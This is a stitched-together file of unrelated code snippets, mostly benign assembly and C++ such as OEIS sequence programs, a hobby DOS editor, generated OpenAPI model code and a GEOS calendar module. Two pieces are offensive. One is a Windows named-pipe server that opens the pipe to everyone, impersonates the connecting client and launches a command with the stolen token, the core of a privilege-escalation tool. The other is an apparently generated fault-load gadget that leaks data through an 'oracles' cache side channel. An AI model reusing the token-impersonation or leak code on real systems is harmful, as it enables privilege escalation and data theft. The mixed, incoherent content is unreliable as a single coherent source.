; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by Alexander R. Pruss ; by Stefano Bodrato - Oct. 2003 ; ; Serial libraries ; ; ; ------ ; $Id: ozserinton.asm,v 1.4 2016-06-27 21:25:36 dom Exp $ ; SECTION code_clib PUBLIC ozserinton PUBLIC _ozserinton EXTERN ozcustomisr EXTERN serial_hook EXTERN rxxoff_hook EXTERN ozintwait EXTERN serial_check_hook EXTERN serial_int EXTERN serial_int_check EXTERN rxxoff_handler ozserinton: _ozserinton: ld hl,serial_int ld (serial_hook+1),hl ld hl,serial_int_check ld (serial_check_hook+1),hl ld hl,rxxoff_handler ld (rxxoff_hook+1),hl in a,(7) and 0ffh-4 out (7),a ld a,1 out (41h),a ret
.size 8000 .text@48 jp lstatint .text@100 jp lbegin .data@143 c0 .text@150 lbegin: ld a, 00 ldff(ff), a ld a, 30 ldff(00), a ld a, 01 ldff(4d), a stop, 00 ld a, ff ldff(45), a ld b, 03 call lwaitly_b ld c, 41 lbegin_waitm0: ldff a, (c) and a, b jrnz lbegin_waitm0 ld a, 80 ldff(68), a ld a, ff ld c, 69 ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a ldff(c), a xor a, a ldff(c), a ldff(c), a ld a, 40 ldff(41), a ld a, 02 ldff(ff), a ei ld a, b inc a inc a ldff(45), a ld c, 0f .text@1000 lstatint: nop .text@11ba inc a ldff(45), a ldff a, (c) and a, b jp lprint_a .text@7000 lprint_a: push af ld b, 91 call lwaitly_b xor a, a ldff(40), a pop af ld(9800), a ld bc, 7a00 ld hl, 8000 ld d, a0 lprint_copytiles: ld a, (bc) inc bc ld(hl++), a dec d jrnz lprint_copytiles ld a, c0 ldff(47), a ld a, 80 ldff(68), a ld a, ff ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a ldff(69), a xor a, a ldff(69), a ldff(69), a ldff(43), a ld a, 91 ldff(40), a lprint_limbo: jr lprint_limbo .text@7400 lwaitly_b: ld c, 44 lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
ld hl, #1 ld de, #2 call $0708
; A264888: a(n) = n*(n + 1)*(13*n^2 + 13*n - 14)/24. ; 0,1,16,71,205,470,931,1666,2766,4335,6490,9361,13091,17836,23765,31060,39916,50541,63156,77995,95305,115346,138391,164726,194650,228475,266526,309141,356671,409480,467945,532456,603416,681241,766360,859215,960261,1069966 mov $15,$0 mov $17,$0 lpb $17 clr $0,15 mov $0,$15 sub $17,1 sub $0,$17 mov $12,$0 mov $14,$0 lpb $14 clr $0,12 mov $0,$12 sub $14,1 sub $0,$14 mov $9,$0 mov $11,$0 lpb $11 mov $0,$9 sub $11,1 sub $0,$11 mov $2,$0 mov $4,5 lpb $2 lpb $4 sub $0,1 mod $2,2 sub $4,$4 sub $8,$8 add $8,13 lpe mul $0,$8 lpe add $10,$0 lpe add $13,$10 lpe add $16,$13 lpe mov $1,$16
; AtieDOS 2.10 Writer ; Copyright (c) 2020 AtieSoftware. ; See LICENSE in root folder command_write: call os_clear_screen call os_command_init mov bx, .WRITE_HEADER call os_print_string call os_print_new_line call os_print_new_line mov bx, .WRITE_MSG call os_print_string call os_print_new_line mov bx, .WRITE_MSG_NEXT call os_print_string call os_print_new_line call os_print_new_line .readkey: mov ax, 0x00 int 16h cmp ah, [KEY_TAB] je .tab cmp ah, [KEY_ESC] je .done cmp ah, [KEY_UP] je .go_up cmp ah, [KEY_DOWN] je .go_down cmp ah, [KEY_LEFT] je .go_left cmp ah, [KEY_RIGHT] je .go_right cmp ah, [KEY_DELETE] je .clear_screen push ax mov ah, 0x0e int 10h pop ax cmp ah, [KEY_BACKSPACE] je .backspace cmp ah, [KEY_ENTER] je .newline jmp .readkey .tab: mov ah, 0x0e mov al, ' ' int 10h int 10h int 10h int 10h jmp .readkey .newline: call os_print_new_line jmp .readkey .go_up: mov ah, 0x03 mov bh, 0 int 10h mov ah, 0x02 dec dh mov bh, 0 int 10h jmp .readkey .go_down: mov ah, 0x03 mov bh, 0 int 10h mov ah, 0x02 inc dh mov bh, 0 int 10h jmp .readkey .go_left: mov ah, 0x03 mov bh, 0 int 10h mov ah, 0x02 dec dl mov bh, 0 int 10h jmp .readkey .go_right: mov ah, 0x03 mov bh, 0 int 10h mov ah, 0x02 inc dl mov bh, 0 int 10h jmp .readkey .clear_screen: call os_clear_screen jmp .readkey .backspace: mov ah, 0x03 mov bh, 0 int 10h mov ah, 0x0e mov al, ' ' int 10h mov ah, 0x02 dec dl mov bh, 0 int 10h mov ah, 0x02 inc dl mov bh, 0 int 10h jmp .readkey .done: call os_command_finish .WRITE_HEADER: db "----- AtieDOS Writer -----", 0 .WRITE_MSG: db "Press ESC at any time to exit. Press TAB to write 4 spaces. Press ENTER to ", 0 .WRITE_MSG_NEXT: db "write on a new line. And press DEL to clear the screen.", 0
%include "io.inc" section .text global CMAIN CMAIN: mov ebp, esp; for correct debugging mov eax, 7 ; vrem sa aflam al N-lea numar; N = 7 mov ebx, 0 mov ecx, 1 sbb eax, 2 ; avem deja primele 2 numere din sir, acesta fiind recurent fibonacci: sbb eax, 1 mov edx, ecx add edx, ebx mov ebx, ecx mov ecx, edx cmp eax, 0 ja fibonacci PRINT_DEC 4, ecx ret
; A078045: Expansion of (1-x)/(1+x+x^2-2*x^3). ; Submitted by Jamie Morken(s2) ; 1,-2,1,3,-8,7,7,-30,37,7,-104,171,-53,-326,721,-501,-872,2815,-2945,-1614,10189,-14465,1048,33795,-63773,32074,99289,-258909,223768,233719,-975305,1189122,253621,-3393353,5517976,-1617381,-10687301,23340634,-15888095,-28827141,91396504 mov $1,1 mov $3,1 lpb $0 sub $0,1 add $1,$3 mul $2,2 sub $3,$1 add $1,$3 add $1,$2 sub $2,$1 add $3,$2 lpe mov $0,$3
/** * eZmax API Definition (Full) * This API expose all the functionnalities for the eZmax and eZsign applications. * * The version of the OpenAPI document: 1.1.7 * Contact: support-api@ezmax.ca * * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). * https://openapi-generator.tech * Do not edit the class manually. */ #include "OAIEzsignbulksend_getList_v1_Response.h" #include <QDebug> #include <QJsonArray> #include <QJsonDocument> #include <QObject> #include "OAIHelpers.h" namespace OpenAPI { OAIEzsignbulksend_getList_v1_Response::OAIEzsignbulksend_getList_v1_Response(QString json) { this->initializeModel(); this->fromJson(json); } OAIEzsignbulksend_getList_v1_Response::OAIEzsignbulksend_getList_v1_Response() { this->initializeModel(); } OAIEzsignbulksend_getList_v1_Response::~OAIEzsignbulksend_getList_v1_Response() {} void OAIEzsignbulksend_getList_v1_Response::initializeModel() { m_m_payload_isSet = false; m_m_payload_isValid = false; m_obj_debug_payload_isSet = false; m_obj_debug_payload_isValid = false; m_obj_debug_isSet = false; m_obj_debug_isValid = false; } void OAIEzsignbulksend_getList_v1_Response::fromJson(QString jsonString) { QByteArray array(jsonString.toStdString().c_str()); QJsonDocument doc = QJsonDocument::fromJson(array); QJsonObject jsonObject = doc.object(); this->fromJsonObject(jsonObject); } void OAIEzsignbulksend_getList_v1_Response::fromJsonObject(QJsonObject json) { m_m_payload_isValid = ::OpenAPI::fromJsonValue(m_payload, json[QString("mPayload")]); m_m_payload_isSet = !json[QString("mPayload")].isNull() && m_m_payload_isValid; m_obj_debug_payload_isValid = ::OpenAPI::fromJsonValue(obj_debug_payload, json[QString("objDebugPayload")]); m_obj_debug_payload_isSet = !json[QString("objDebugPayload")].isNull() && m_obj_debug_payload_isValid; m_obj_debug_isValid = ::OpenAPI::fromJsonValue(obj_debug, json[QString("objDebug")]); m_obj_debug_isSet = !json[QString("objDebug")].isNull() && m_obj_debug_isValid; } QString OAIEzsignbulksend_getList_v1_Response::asJson() const { QJsonObject obj = this->asJsonObject(); QJsonDocument doc(obj); QByteArray bytes = doc.toJson(); return QString(bytes); } QJsonObject OAIEzsignbulksend_getList_v1_Response::asJsonObject() const { QJsonObject obj; if (m_payload.isSet()) { obj.insert(QString("mPayload"), ::OpenAPI::toJsonValue(m_payload)); } if (obj_debug_payload.isSet()) { obj.insert(QString("objDebugPayload"), ::OpenAPI::toJsonValue(obj_debug_payload)); } if (obj_debug.isSet()) { obj.insert(QString("objDebug"), ::OpenAPI::toJsonValue(obj_debug)); } return obj; } OAIEzsignbulksend_getList_v1_Response_mPayload OAIEzsignbulksend_getList_v1_Response::getMPayload() const { return m_payload; } void OAIEzsignbulksend_getList_v1_Response::setMPayload(const OAIEzsignbulksend_getList_v1_Response_mPayload &m_payload) { this->m_payload = m_payload; this->m_m_payload_isSet = true; } bool OAIEzsignbulksend_getList_v1_Response::is_m_payload_Set() const{ return m_m_payload_isSet; } bool OAIEzsignbulksend_getList_v1_Response::is_m_payload_Valid() const{ return m_m_payload_isValid; } OAICommon_Response_objDebugPayload_getList OAIEzsignbulksend_getList_v1_Response::getObjDebugPayload() const { return obj_debug_payload; } void OAIEzsignbulksend_getList_v1_Response::setObjDebugPayload(const OAICommon_Response_objDebugPayload_getList &obj_debug_payload) { this->obj_debug_payload = obj_debug_payload; this->m_obj_debug_payload_isSet = true; } bool OAIEzsignbulksend_getList_v1_Response::is_obj_debug_payload_Set() const{ return m_obj_debug_payload_isSet; } bool OAIEzsignbulksend_getList_v1_Response::is_obj_debug_payload_Valid() const{ return m_obj_debug_payload_isValid; } OAICommon_Response_objDebug OAIEzsignbulksend_getList_v1_Response::getObjDebug() const { return obj_debug; } void OAIEzsignbulksend_getList_v1_Response::setObjDebug(const OAICommon_Response_objDebug &obj_debug) { this->obj_debug = obj_debug; this->m_obj_debug_isSet = true; } bool OAIEzsignbulksend_getList_v1_Response::is_obj_debug_Set() const{ return m_obj_debug_isSet; } bool OAIEzsignbulksend_getList_v1_Response::is_obj_debug_Valid() const{ return m_obj_debug_isValid; } bool OAIEzsignbulksend_getList_v1_Response::isSet() const { bool isObjectUpdated = false; do { if (m_payload.isSet()) { isObjectUpdated = true; break; } if (obj_debug_payload.isSet()) { isObjectUpdated = true; break; } if (obj_debug.isSet()) { isObjectUpdated = true; break; } } while (false); return isObjectUpdated; } bool OAIEzsignbulksend_getList_v1_Response::isValid() const { // only required properties are required for the object to be considered valid return m_m_payload_isValid && true; } } // namespace OpenAPI
#include<bits/stdc++.h> using namespace std; int main(){ long long int n,ans; scanf("%lld",&n); ans=n*(n+1)/2-(n-1); printf("%lld\n",ans); return 0; }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %rax lea addresses_WC_ht+0x1b5be, %r10 nop nop nop nop add %r11, %r11 movb $0x61, (%r10) nop nop nop cmp $31955, %rax pop %rax pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r8 push %rax push %rcx push %rsi // Store lea addresses_A+0x160f6, %r8 nop nop nop nop nop xor %rsi, %rsi movl $0x51525354, (%r8) nop nop nop nop nop xor %r13, %r13 // Store mov $0x5c86e300000006be, %rsi nop cmp $58087, %r12 mov $0x5152535455565758, %r10 movq %r10, (%rsi) nop nop sub $47625, %r12 // Faulty Load mov $0x5c86e300000006be, %rsi nop nop nop add %rax, %rax movntdqa (%rsi), %xmm7 vpextrq $1, %xmm7, %r12 lea oracles, %rcx and $0xff, %r12 shlq $12, %r12 mov (%rcx,%r12,1), %r12 pop %rsi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_NC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A070376: a(n) = 5^n mod 26. ; 1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5,25,21,1,5 mov $1,1 mov $2,$0 lpb $2,1 mul $1,5 mod $1,52 sub $2,1 lpe
#define _CRT_SECURE_NO_DEPRECATE 1 #include <stdio.h> #include <assert.h> #include <stdlib.h> #include <string.h> #include <aclapi.h> #include <accctrl.h> #include <psapi.h> #include <tlhelp32.h> #include <lm.h> #include <wchar.h> #include <sddl.h> #include "common.h" extern wchar_t* commandline; extern wchar_t* arguments; DWORD WINAPI PipeServer(LPVOID lpParam) { //SEC sec; HANDLE hPipe, hToken; BOOL isConnected; SECURITY_ATTRIBUTES sa; BOOL HasAssignPriv = FALSE; BOOL success = FALSE; HANDLE pToken1, pToken2; BOOL b1, b2; STARTUPINFOW si; PROCESS_INFORMATION pi; char buffer[256]; DWORD dwRead = 0; LPWSTR PipeName = (LPWSTR)lpParam; //LPWSTR PipeName = (LPWSTR)lpParam; //sec.BuildSecurityAttributes(&sa); if (!InitializeSecurityDescriptor(&sa, SECURITY_DESCRIPTOR_REVISION)) { printf("InitializeSecurityDescriptor() failed. Error: %d\n", GetLastError()); return 0; } if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL)) { printf("ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError()); return 0; } hPipe = CreateNamedPipe( PipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, sizeof(DWORD), 0, NMPWAIT_USE_DEFAULT_WAIT, &sa); if (hPipe == INVALID_HANDLE_VALUE) { printf("[-] Error CreatePipe %d", GetLastError()); return 0; } printf("[*] Listening on pipe %S, waiting for client to connect\n", PipeName); isConnected = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); if (isConnected) { printf("[*] Client connected!\n"); ReadFile(hPipe, buffer, sizeof(buffer) - 1, &dwRead, NULL); if (!ImpersonateNamedPipeClient(hPipe)) { printf("[-] Failed to impersonate the client.%d %d\n", GetLastError(), dwRead); return 0; } if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hToken)) { printf("[+] Got user Token!!!\n", GetLastError()); } if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &pToken2)) { printf("[-] Error duplicating ImpersonationToken:%d\n", GetLastError()); } else { printf("[*] DuplicateTokenEx success!\n"); } printf("[*] Token authentication using CreateProcessWithTokenW for launching: %S\n", commandline); if (arguments != NULL) { printf("[*] Arguments: %S\n", arguments); } //GetTokenInformation(hThreadToken, TokenSessionId, &sessionid, sizeof(sessionid), &Size); ///SetTokenInformation(pToken2, TokenSessionId, &sessionid, sizeof(sessionid)); RevertToSelf(); b2 = CreateProcessWithTokenW(pToken2, 0, commandline, arguments, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); //debug //printf("[*] Result: %s (%d)\n", b2 ? "TRUE" : "FALSE", GetLastError()); if (b2) { success = TRUE; printf("[*] Success executing: %S\n", commandline); } } else CloseHandle(hPipe); return 1; } int CreatePipeServer(wchar_t* pipename, bool nostop) { do { HANDLE hThread1 = NULL; DWORD dwThreadId1 = 0; printf("[*] Creating Pipe Server thread..\n"); hThread1 = CreateThread(NULL, 0, PipeServer, pipename, 0, &dwThreadId1); DWORD dwWait = WaitForSingleObject(hThread1, THREAD_TIMEOUT); if (dwWait != WAIT_OBJECT_0) { wprintf(L"[-] Named pipe didn't received any connect request. Exiting ... \n"); exit(-1); } }while (nostop); return 1; }
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1993 -- All Rights Reserved PROJECT: PC GEOS J MODULE: JCalendar/Holiday FILE: holidayUtils.asm AUTHOR: TORU TERAUCHI, JUL 28, 1993 ROUTINES: NAME DESCRIPTION ---- ----------- JCalendarRedrawCalendar Send MSG_VIS_DRAW to YearObject JCalendarCallRepeatHolidayList Call ObjMsg to RepeatHolidayList obj JCalendarCallHolidayResetTriggerCall ObjMsg to HolidayResetTrigger obj JCalendarUserStandardDialog Show a warning dialog box. REVISION HISTORY: NAME DATE DESCRIPTION ---- ---- ----------- Tera 7/28/93 INITIAL REVISION DESCRIPTION: Utilities. $Id: holidayUtils.asm,v 1.1 97/04/04 14:49:26 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ HolidayCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% JCalendarRedrawCalendar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Send MSG_VIS_DRAW to YearObject CALLED BY: SetHIntInit( SetHolidayInteractionClass ) SetHClose( SetHolidayInteractionClass ) SetHReset ( SetHolidayInteractionClass ) SetHRpeatHApply ( SetHolidayInteractionClass ) PASS: RETURN: DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Tera 7/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ JCalendarRedrawCalendar proc near uses ax, bx, cx, dx, si, di, bp .enter ; Redraw the calendar ; mov ax, MSG_VIS_VUP_CREATE_GSTATE GetResourceHandleNS YearObject, bx mov si, offset YearObject mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ; bp : GState push bp ; save bp clr cl ; set draw flag ; bp : GState mov ax, MSG_VIS_DRAW GetResourceHandleNS YearObject, bx mov si, offset YearObject mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop di ; set GState bp => di call GrDestroyState ; free the GState .leave ret JCalendarRedrawCalendar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% JCalendarCallRepeatHolidayList %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Call ObjMessage to RepeatHolidayList object CALLED BY: SetHIntInit ( SetHolidayInteractionClass ) SetHRpeatHApply ( SetHolidayInteractionClass ) PASS: RETURN: DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Tera 7/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ JCalendarCallRepeatHolidayList proc near push si, di, bx GetResourceHandleNS RepeatHolidayList, bx mov si, offset RepeatHolidayList mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si, di, bx ret JCalendarCallRepeatHolidayList endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% JCalendarCallHolidayResetTrigger %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Call ObjMessage to HolidayResetTrigger object CALLED BY: SetHLoadData ( SetHolidayInteractionClass ) SetHRpeatHApply ( SetHolidayInteractionClass ) PASS: RETURN: DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Tera 7/28/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ JCalendarCallHolidayResetTrigger proc near push si, di, bx GetResourceHandleNS HolidayResetTrigger, bx mov si, offset HolidayResetTrigger mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage pop si, di, bx ret JCalendarCallHolidayResetTrigger endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% JCalendarCallYearObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Call ObjMessage to YearClass object CALLED BY: SetHIntInit ( SetHolidayInteractionClass ) SetHSetRange ( SetHolidayInteractionClass ) SetHSetYearObjSelect ( SetHolidayInteractionClass ) PASS: RETURN: DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Tera 7/29/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ JCalendarCallYearObject proc near push si, di, bx GetResourceHandleNS YearObject, bx mov si, offset YearObject mov di, mask MF_CALL or mask MF_FIXUP_DS or mask MF_FIXUP_ES call ObjMessage pop si, di, bx ret JCalendarCallYearObject endp ;;COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ;; JCalendarUserStandardDialog ;;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ;; ;;SYNOPSIS: Show a warning dialog box ;; ;;CALLED BY: ;; SetHSaveData ( SetHolidayInteractionClass ) ;; SetHDestruct ( SetHolidayInteractionClass ) ;;PASS: ax = CustomDialogBoxFlags ;; bp = chunk in HolidayBlock resource of message. ;;RETURN: ax = StandardDialogBoxResponses ;;DESTROYED: bx, cx, dx, si, di, bp ;;SIDE EFFECTS: ;; ;;PSEUDO CODE/STRATEGY: ;; ;;REVISION HISTORY: ;; Name Date Description ;; ---- ---- ----------- ;; Tera 9/08/93 Initial version ;; Tera 12/23/93 no use for bug fix ;; ;;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;; ;;JCalendarUserStandardDialog proc near ;; uses ds ;; .enter ;; ;; ; Lock down the resource and put the segment in di and in ds (so ;; ; we can dereference the chunk handle) ;; ; ;; push ax ; save ax ;; mov bx, handle HolidayStrings ;; call MemLock ;; mov di, ax ;; mov ds, ax ;; ;; pop ax ; restore ax ;; mov bp, ds:[bp] ; point to string itself ;; clr bx, cx, dx, si ;; ;; ; Now show a dialogbox ;; ; ;; ; we must push 0 on the stack for SDP_helpContext ;; ;; push bp, bp ;push dummy optr ;; mov bp, sp ;point at it ;; mov ss:[bp].segment, 0 ;; mov bp, ss:[bp].offset ;; ;;.assert (offset SDP_customTriggers eq offset SDP_stringArg2+4) ;; push ax ; don't care about SDP_customTriggers ;; push ax ;;.assert (offset SDP_stringArg2 eq offset SDP_stringArg1+4) ;; push bx ; save SDP_stringArg2 (bx:si) ;; push si ;;.assert (offset SDP_stringArg1 eq offset SDP_customString+4) ;; push cx ; save SDP_stringArg1 (cx:dx) ;; push dx ;;.assert (offset SDP_stringArg1 eq offset SDP_customString+4) ;; push di ; save SDP_customString (di:bp) ;; push bp ;;.assert (offset SDP_customString eq offset SDP_customFlags+2) ;;.assert (offset SDP_customFlags eq 0) ;; push ax ; save SDP_type, SDP_customFlags ;; ; params passed on stack ;; call UserStandardDialog ;; ;; ; Unlock the resource now we're done. ;; ; ;; mov 